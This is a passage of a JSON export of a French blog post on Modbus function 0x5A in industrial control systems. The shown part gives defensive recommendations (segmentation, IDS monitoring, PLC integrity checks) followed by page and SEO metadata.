non-s\u00e9curis\u00e9s dans un tunnel authentifi\u00e9 et chiffr\u00e9, avec TLS (Siemens) ou IPSEC (Schneider). Il conviendra cependant d\u2019\u00e9valuer le bon niveau de s\u00e9curit\u00e9 de ces nouvelles fonctionnalit\u00e9s.<\/span><\/div>\n<div style=\"text-align: justify;\"><span style=\"font-family: inherit;\">Il faut donc commencer par appliquer les bonnes pratiques de cloisonnement r\u00e9seau, et superviser les actions d\u2019administration. On peut par exemple mettre en place une sonde de type IDS avec une signature d\u00e9di\u00e9e \u00e0 la fonction 90 de Modbus.<\/span><\/div>\n<div style=\"text-align: justify;\"><span style=\"font-family: inherit;\">Enfin, un axe d\u2019am\u00e9lioration ax\u00e9 m\u00e9tier serait la mise en place de m\u00e9canismes de contr\u00f4le d\u2019int\u00e9grit\u00e9 au niveau des automates et du SCADA, permettant de s\u2019assurer que les variables utilis\u00e9es refl\u00e8tent la r\u00e9alit\u00e9 du proc\u00e9d\u00e9 physique. On pourrait ainsi imaginer l&#8217;insertion, dans la logique de l&#8217;automate, quelques fonctions visant \u00e0 assurer la d\u00e9tection d&#8217;une incoh\u00e9rence entre une valeur interm\u00e9diaire et une valeur de sortie. De la m\u00eame mani\u00e8re, il serait int\u00e9ressant pour le logiciel SCADA de pouvoir notifier l&#8217;op\u00e9rateur lorsque des valeurs sont forc\u00e9es, mais cette capacit\u00e9 n&#8217;est, \u00e0 notre connaissance, pas propos\u00e9e par les automates \u00e9tudi\u00e9s.<\/span><\/div>\n<div style=\"text-align: justify;\"><span style=\"font-family: inherit;\"><br \/>\n<\/span><\/p>\n<div style=\"text-align: right;\"><b>Arnaud SOULLIE<\/b><\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Lors de la derni\u00e8re \u00e9dition de la DEFCON, nous avons pr\u00e9sent\u00e9 nos travaux de R&amp;D concernant un protocole propri\u00e9taire Schneider \u00e0 l\u2019ICS Village, espace d\u00e9di\u00e9 \u00e0 la s\u00e9curit\u00e9 des SI industriels. Vous pouvez retrouver notre intervention en vid\u00e9o :\u00a0https:\/\/www.youtube.com\/watch?v=A_B69Rifu1g Revenons&#8230;<\/p>\n","protected":false},"author":20,"featured_media":15814,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"page-templates\/tmpl-one.php","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[36,3854,3225],"tags":[3021,664,3140,3906,926,1260],"coauthors":[780],"class_list":["post-15813","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurity-digital-trust","category-deep-dive","category-ethical-hacking-indicent-response","tag-analyse","tag-audit","tag-ics-2","tag-modbus","tag-scada","tag-si-industriel"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Fun with Modbus 0x5A<\/title>\n<meta name=\"description\" content=\"Le protocole Modbus est un standard de communication utilis\u00e9 dans les SI industriels. d\u00e9velopp\u00e9 dans les ann\u00e9es 70 sur liaison s\u00e9rie RS-485.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Fun with Modbus 0x5A\" \/>\n<meta property=\"og:description\" content=\"Le protocole Modbus est un standard de communication utilis\u00e9 dans les SI industriels. d\u00e9velopp\u00e9 dans les ann\u00e9es 70 sur liaison s\u00e9rie RS-485.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/\" \/>\n<meta property=\"og:site_name\" content=\"RiskInsight\" \/>\n<meta property=\"article:published_time\" content=\"2018-02-09T17:45:05+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-05-02T18:22:07+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/Fotolia_51465744_Subscription_Monthly_M.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1378\" \/>\n\t<meta property=\"og:image:height\" content=\"1378\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Arnaud Soulli\u00e9\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Arnaud Soulli\u00e9\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/\"},\"author\":{\"name\":\"Arnaud Soulli\u00e9\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/person\/8ba5826fcf8223b1c6c350c1d1fffc79\"},\"headline\":\"Fun with Modbus 0x5A\",\"datePublished\":\"2018-02-09T17:45:05+00:00\",\"dateModified\":\"2021-05-02T18:22:07+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/\"},\"wordCount\":1752,\"publisher\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/Fotolia_51465744_Subscription_Monthly_M.jpg\",\"keywords\":[\"analyse\",\"audit\",\"ICS\",\"modbus\",\"SCADA\",\"SI industriel\"],\"articleSection\":[\"Cybersecurity &amp; Digital Trust\",\"Deep-dive\",\"Ethical Hacking &amp; Incident Response\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/\",\"name\":\"Fun with Modbus 0x5A\",\"isPartOf\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/Fotolia_51465744_Subscription_Monthly_M.jpg\",\"datePublished\":\"2018-02-09T17:45:05+00:00\",\"dateModified\":\"2021-05-02T18:22:07+00:00\",\"description\":\"Le protocole Modbus est un standard de communication utilis\u00e9 dans les SI industriels. d\u00e9velopp\u00e9 dans les ann\u00e9es 70 sur liaison s\u00e9rie RS-485.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#primaryimage\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/Fotolia_51465744_Subscription_Monthly_M.jpg\",\"contentUrl\":\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/Fotolia_51465744_Subscription_Monthly_M.jpg\",\"width\":1378,\"height\":1378},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.riskinsight-wavestone.com\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Fun with Modbus 0x5A\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#website\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/en\/\",\"name\":\"RiskInsight\",\"description\":\"The cybersecurity &amp; digital trust blog by Wavestone&#039;s consultants\",\"publisher\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.riskinsight-wavestone.com\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#organization\",\"name\":\"Wavestone\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/en\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/08\/Monogramme\u2013W\u2013NEGA-RGB-50x50-1.png\",\"contentUrl\":\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/08\/Monogramme\u2013W\u2013NEGA-RGB-50x50-1.png\",\"width\":50,\"height\":50,\"caption\":\"Wavestone\"},\"image\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/logo\/image\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/person\/8ba5826fcf8223b1c6c350c1d1fffc79\",\"name\":\"Arnaud Soulli\u00e9\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/en\/author\/arnaud-soullie\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Fun with Modbus 0x5A","description":"Le protocole Modbus est un standard de communication utilis\u00e9 dans les SI industriels. d\u00e9velopp\u00e9 dans les ann\u00e9es 70 sur liaison s\u00e9rie RS-485.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/","og_locale":"en_US","og_type":"article","og_title":"Fun with Modbus 0x5A","og_description":"Le protocole Modbus est un standard de communication utilis\u00e9 dans les SI industriels. d\u00e9velopp\u00e9 dans les ann\u00e9es 70 sur liaison s\u00e9rie RS-485.","og_url":"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/","og_site_name":"RiskInsight","article_published_time":"2018-02-09T17:45:05+00:00","article_modified_time":"2021-05-02T18:22:07+00:00","og_image":[{"width":1378,"height":1378,"url":"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/Fotolia_51465744_Subscription_Monthly_M.jpg","type":"image\/jpeg"}],"author":"Arnaud Soulli\u00e9","twitter_misc":{"Written by":"Arnaud Soulli\u00e9","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#article","isPartOf":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/"},"author":{"name":"Arnaud Soulli\u00e9","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/person\/8ba5826fcf8223b1c6c350c1d1fffc79"},"headline":"Fun with Modbus 0x5A","datePublished":"2018-02-09T17:45:05+00:00","dateModified":"2021-05-02T18:22:07+00:00","mainEntityOfPage":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/"},"wordCount":1752,"publisher":{"@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#organization"},"image":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#primaryimage"},"thumbnailUrl":"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/Fotolia_51465744_Subscription_Monthly_M.jpg","keywords":["analyse","audit","ICS","modbus","SCADA","SI industriel"],"articleSection":["Cybersecurity &amp; Digital Trust","Deep-dive","Ethical Hacking &amp; Incident Response"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/","url":"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/","name":"Fun with Modbus 0x5A","isPartOf":{"@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#primaryimage"},"image":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#primaryimage"},"thumbnailUrl":"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/Fotolia_51465744_Subscription_Monthly_M.jpg","datePublished":"2018-02-09T17:45:05+00:00","dateModified":"2021-05-02T18:22:07+00:00","description":"Le protocole Modbus est un standard de communication utilis\u00e9 dans les SI industriels. d\u00e9velopp\u00e9 dans les ann\u00e9es 70 sur liaison s\u00e9rie RS-485.","breadcrumb":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#primaryimage","url":"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/Fotolia_51465744_Subscription_Monthly_M.jpg","contentUrl":"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/Fotolia_51465744_Subscription_Monthly_M.jpg","width":1378,"height":1378},{"@type":"BreadcrumbList","@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/02\/fun-with-modbus-0x5a\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.riskinsight-wavestone.com\/en\/"},{"@type":"ListItem","position":2,"name":"Fun with Modbus 0x5A"}]},{"@type":"WebSite","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#website","url":"https:\/\/www.riskinsight-wavestone.com\/en\/","name":"RiskInsight","description":"The cybersecurity &amp; digital trust blog by Wavestone&#039;s consultants","publisher":{"@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.riskinsight-wavestone.com\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#organization","name":"Wavestone","url":"https:\/\/www.riskinsight-wavestone.com\/en\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/logo\/image\/","url":"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/08\/Monogramme\u2013W\u2013NEGA-RGB-50x50-1.png","contentUrl":"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/08\/Monogramme\u2013W\u2013NEGA-RGB-50x50-1.png","width":50,"height":50,"caption":"Wavestone"},"image":{"@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/person\/8ba5826fcf8223b1c6c350c1d1fffc79","name":"Arnaud Soulli\u00e9","url":"https:\/\/www.riskinsight-wavestone.com\/en\/author\/arnaud-soullie\/"}]}},"_links":{"self":[{"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/posts\/15813","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/users\/20"}],"replies":[{"embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/comments?post=15813"}],"version-history":[{"count":3,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/posts\/15813\/revisions"}],"predecessor-version":[{"id":15836,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/posts\/15813\/revisions\/15836"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/media\/15814"}],"wp:attachment":[{"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/media?parent=15813"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/categories?post=15813"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/tags?post=15813"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/coauthors?post=15813"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}